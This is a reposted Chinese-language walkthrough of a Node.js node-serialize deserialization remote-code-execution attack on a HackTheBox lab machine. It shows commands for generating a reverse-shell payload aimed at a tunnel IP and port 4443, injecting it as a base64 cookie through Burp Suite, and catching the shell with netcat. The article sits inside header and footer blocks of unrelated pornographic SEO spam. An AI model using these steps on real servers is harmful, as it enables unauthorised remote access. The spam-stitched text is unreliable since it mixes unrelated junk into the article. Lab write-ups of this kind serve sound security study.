麻豆国内精品欧美在线-麻豆国内精品久久久久久-麻豆国产在线观看一区二区-麻豆国产在线观看免费-麻豆国产原创-麻豆国产一区二区在线观看

Node.js反序列化攻擊漏洞區(qū)塊鏈

曲速未來安全區(qū) 2018-08-17 03:35
分享到:
導(dǎo)讀

導(dǎo)語:WF曲速未來提醒:node.js的序列化過程中存在遠(yuǎn)程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScriptIIFE(立即執(zhí)行函數(shù)表達(dá)式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠(yuǎn)程執(zhí)行任意代碼。

導(dǎo)語:

WF曲速未來提醒:node.js的序列化過程中存在遠(yuǎn)程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執(zhí)行函數(shù)表達(dá)式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠(yuǎn)程執(zhí)行任意代碼。

WF曲速區(qū)表示:Node.js是一個Javascript服務(wù)器端的運行環(huán)境。它封裝了Google V8引擎。 Google V8引擎可以快速運行具有高性能的Javascript。Node.js優(yōu)化某些特殊情況并提供替代APls,使Google V8引擎能夠在非瀏覽器環(huán)境中更有效地運行。

但是Node。js的序列化過程中仍然存在遠(yuǎn)程代碼執(zhí)行漏洞。Node.js的node-serialize庫有一個漏洞。通過傳輸JavaScript IIFE,攻擊者可以使用惡意代碼(不受信任的數(shù)據(jù))在反序列化中遠(yuǎn)程運行任意代碼。

關(guān)于漏洞(反序列化攻擊)

不受信任的數(shù)據(jù)被傳遞到unserialize()函數(shù),這導(dǎo)致我們可以繞過JavaScript對象的立即調(diào)用的函數(shù)表達(dá)式IIFE來實現(xiàn)任意代碼執(zhí)行。

所以你的步驟是在apt-get命令的幫助下安裝nodejs包,如下所示:

命令:apt-get install nodejs

在下一步中,您需要在CURL命令的幫助下安裝npm實用程序(有關(guān)使用npm進(jìn)一步安裝node-serialize包),如下所示:

命令:curl -L https://www.npmjs.com/install.sh |SH

一旦你安裝和配置Nodejs和Npm,只需在npm的幫助下輸入node-serialize包,輸入“npm install node-serialize”,如下所示:

另一方面,我們已經(jīng)與HacktheBox服務(wù)器連接,其服務(wù)器的漏洞節(jié)點機(jī)器IP為10.10.10.85:3000(運行Nodejs Express Framework,您可以使用Nmap Scanning進(jìn)一步確認(rèn))

因此,在第一步中,您需要在最受歡迎的代理攔截工具之一(即Burp Suite)的幫助下捕獲上述Nodejs易受攻擊IP的GET請求,如下所示:

在第二步中,只需選擇cookie值并將其發(fā)送到Decoder選項卡以進(jìn)行進(jìn)一步解密。

此易受攻擊的Web應(yīng)用程序中的漏洞是,它從HTTP請求中讀取名為profile的cookie,執(zhí)行cookie值的base64解碼并將其傳遞給unserialize()函數(shù)。由于cookie是不受信任的輸入,攻擊者可以利用惡意cookie值來利用此漏洞。

第三步,要安裝Nodejs Security Toolkit,請在終端中鍵入以下命令。

命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

導(dǎo)航到下載的文件夾并運行以下命令以創(chuàng)建反向shell有效內(nèi)容,該有效負(fù)載將javascript代碼評估為字符串。

首先,您需要通過鍵入“ifconfig”找出隧道IP,然后運行以下命令:

命令: python nodejsshell.py 10.10.14.145 4443

這是最終反向shell有效負(fù)載的輸出。

現(xiàn)在讓我們使用以下javascript生成序列化的有效負(fù)載。

代碼:

用大括號{eval(String.from ......... })添加上面的有效負(fù)載輸出,如下所示:

將文件另存為exploit.js并使用node命令運行,該命令生成最終的序列化有效負(fù)載,如下所示:

命令:node exploit.js

現(xiàn)在回到BurpSuite并導(dǎo)航到Decoder選項卡并將上面的輸出代碼粘貼到Textarea中,然后在解碼之前,在函數(shù)體之后添加IIFE括號(),如下所示:

在這里,我們需要執(zhí)行相同的Base64編碼,然后在Cookie標(biāo)頭值中使用編碼的有效負(fù)載向Web服務(wù)器發(fā)出請求。

現(xiàn)在要發(fā)出請求,您需要向Repeater 選項卡發(fā)送相同的請求。

在Repeater選項卡中,您需要將cookie值替換為我們從上面步驟生成的base64編碼值,然后單擊GO按鈕。

并排,確保您的netcat服務(wù)正在偵聽相同的端口,即4443(反向shell負(fù)載的相同端口)

命令:nc -lvp 4443

一旦你單擊Go按鈕,請求將命中到服務(wù)器,顯示200 OK響應(yīng),并顯示一條錯誤消息“發(fā)生錯誤...無效的用戶名類型”,并立即在netcat終端中與該服務(wù)器連接,狀態(tài)為“已連接”。

區(qū)塊鏈安全公司W(wǎng)F曲速未來提醒:本實踐實現(xiàn)了Node.js 反序列化漏洞遠(yuǎn)程執(zhí)行代碼的演示,并對漏洞進(jìn)行了詳細(xì)的分析。該漏洞本質(zhì)上是構(gòu)造Payload傳入unserrialize()函數(shù)進(jìn)行反序列化:使用JavaScript的立即調(diào)用函數(shù)表達(dá)式(IIFE),當(dāng)對象被創(chuàng)建時,將 該JavaScript 對象傳入 serialize() 函數(shù),輸出exploit將其傳入unserialize() 函數(shù),可以實現(xiàn)任意代碼執(zhí)行。危害不容小覷。

代碼 命令 漏洞 執(zhí)行 運行
分享到:

1.TMT觀察網(wǎng)遵循行業(yè)規(guī)范,任何轉(zhuǎn)載的稿件都會明確標(biāo)注作者和來源;
2.TMT觀察網(wǎng)的原創(chuàng)文章,請轉(zhuǎn)載時務(wù)必注明文章作者和"來源:TMT觀察網(wǎng)",不尊重原創(chuàng)的行為TMT觀察網(wǎng)或?qū)⒆肪控?zé)任;
3.作者投稿可能會經(jīng)TMT觀察網(wǎng)編輯修改或補(bǔ)充。


專題報道

主站蜘蛛池模板: 美女扒开腿让男生捅 | 草综合| 大学生特黄特色大片免费播放 | 美女认你摸 | 久久强奷乱码老熟女 | 欧美男同互吃gay老头 | 午夜理论片日本中文在线 | 国产午夜精品一区二区 | 91香蕉国产在线观看免费永久 | 洗濯屋动漫在线观看 | 日本中文字幕在线精品 | 嗯啊视频在线观看 | 三级伦理在线播放 | 国产91亚洲精品 | 美女大逼逼 | 国产精品国产色综合色 | 精品国产自在现线久久 | 亚欧美色 | 青苹果乐园影院免费观看完整版 | 女攻双性 | 国产成人综合亚洲亚洲欧美 | 爆操俄罗斯美女 | pregnantsexxx临盆孕妇 | 日本亚欧乱色视频在线观看 | 国内久久 | 91麻豆国产福利在线观看 | 国产色司机在线视频免费观看 | 欧美在线一级片 | 91麻豆精东果冻天美传媒老狼 | 亚洲精品久久久久69影院 | 国产品精人成福利视频 | 日韩风月片 | 甜蜜惩罚小说 | videosxxxx老女人| 国内自拍网红在综合图区 | 大桥未久一区二区 | 男女xxoo做爰猛烈动态一 | 国产精品欧美日韩一区二区 | 91破解版| 特黄特黄一级高清免费大片 | 女主被当众调教虐np |